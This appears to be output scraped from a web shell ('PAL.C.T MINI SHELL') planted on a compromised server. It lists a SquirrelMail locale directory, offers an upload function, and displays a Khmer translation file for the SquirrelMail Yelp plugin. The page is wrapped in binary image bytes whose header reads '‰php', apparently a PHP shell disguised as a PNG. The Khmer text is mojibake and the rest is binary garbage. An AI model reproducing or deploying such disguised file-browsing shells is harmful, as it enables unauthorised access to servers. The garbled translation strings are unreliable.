‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/yelp.po

# Khmer (km) yelp Translation
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: yelp\n"
"POT-Creation-Date: 2004-04-01 10:20+0100\n"
"PO-Revision-Date: 2009-04-24 09:34+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: yelp.php:57
msgid "Annoyance level"
msgstr "កម្រិážâ€‹ážšáŸ†ážáž¶áž“"

#: yelp.php:64
msgid "Arrrgh, nothing works, fix it now!"
msgstr "អូ! មិន​ដំណើរការ​ទ០ដោះស្រាយ​ឥឡូវ​ភ្លាម !"

#: yelp.php:72
msgid "Description:"
msgstr "សáŸáž…ក្ដី​ពិពណ៌នា ៖"

#: yelp.php:49
msgid "High"
msgstr "ážáŸ’ពស់"

#: yelp.php:34
msgid "I'll do my best to fix it."
msgstr "ážáŸ’ញុំ​នឹង​ធ្វើ​ឲ្យ​បាន​ល្អ ដើម្បី​ដោះស្រាយ​វា ។"

#: yelp.php:60
msgid "I'm not really fussed"
msgstr "ážáŸ’ញុំ​មិន​ážáŸ’វល់​ទáŸ"

#: yelp.php:63
msgid "It's really rubbing me the wrong way"
msgstr "វា​ពិážâ€‹áž‡áž¶â€‹áž’្វើ​ឲ្យ​ážáŸ’ញុំ​វង្វáŸáž„"

#: yelp.php:62
msgid "It's stopping me from enjoying squirrelmail"
msgstr "វា​បញ្ឈប់​ážáŸ’ញុំ​ពី squirrelmail ដáŸâ€‹áž‚ួរ​ឲ្យ​រំážáž¶áž“​ហើយ"

#: yelp.php:51
msgid "Low"
msgstr "ទាប"

#: yelp.php:50
msgid "Normal"
msgstr "ធម្មážáž¶"

#: yelp.php:59
msgid "Please Select"
msgstr "សូម​ជ្រើស"

#: yelp.php:78
msgid "Send"
msgstr "ផ្ញើ"

#: yelp.php:79
msgid "Please press <b>only once</b>! It may take a few seconds to go through..."
msgstr "សូម​សង្កážáŸ‹â€‹<b>ážáŸ‚​ម្ដង</b>! វា​អាច​ážáŸ’រូវការ​ពáŸáž›â€‹áž”ន្ážáž·áž…..."

#: yelp.php:47
msgid "Priority:"
msgstr "អាទិភាព ៖"

#: yelp.php:42
msgid "Subject"
msgstr "ប្រធាន​បទ"

#: yelp.php:115
msgid ""
"Thanks for the yelp! I'll have a look at it as soon as possible and try and "
"fix whatever is wrong. If you don't hear from me soon, check that the "
"problem hasn't been fixed. If it hasn't, bug me some more."
msgstr "អរគុណ​ចំពោះ​ការ​ážáŸ’អូញážáŸ’អែរ ! ážáŸ’ញុំ​នឹង​មើល​វា និង​ដោះស្រាយ​បញ្ហា​នោះ​ឲ្យបាន​កាន់ážáŸ‚​លឿន ។ ប្រសិន​បើ​អ្នក​​មិនទាន់​ឃើញ​ážáŸ’ញុំ​ឆ្លើយážáž”​ទ០គឺ​មាននáŸáž™â€‹ážáž¶â€‹áž”ញ្ហា​នោះ​មិនទាន់​បាន​ដោះស្រាយ​ទáŸÂ áŸ” ប្រសិន​បើ​គ្មានទ០សូម​ផ្ញើ​កំហុស​បន្ážáŸ‚ម​ទៀážâ€‹áž˜áž€â€‹ážáŸ’ញុំ ។"

#: yelp.php:61
msgid "This is mildly annoying"
msgstr "វា​គួរ​ឲ្យ​រំážáž¶áž“​មែនទែន"

#: yelp.php:32
msgid "Use this form to yelp about a problem you are having with squirrelmail."
msgstr "ប្រើ​សំណុំបែបបទ​នáŸáŸ‡ ដើម្បី​រៀបរាប់​អំពី​កំហុស​ដែល​អ្នក​មាន​ទាក់ទង​នឹង squirrelmail ។"

#: setup.php:19
msgid "Yelp!"
msgstr "ážáŸ’អូញážáŸ’អែរ !"

#: yelp.php:126
msgid "this doesnt work"
msgstr "វា​មិន​ដំណើរការ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚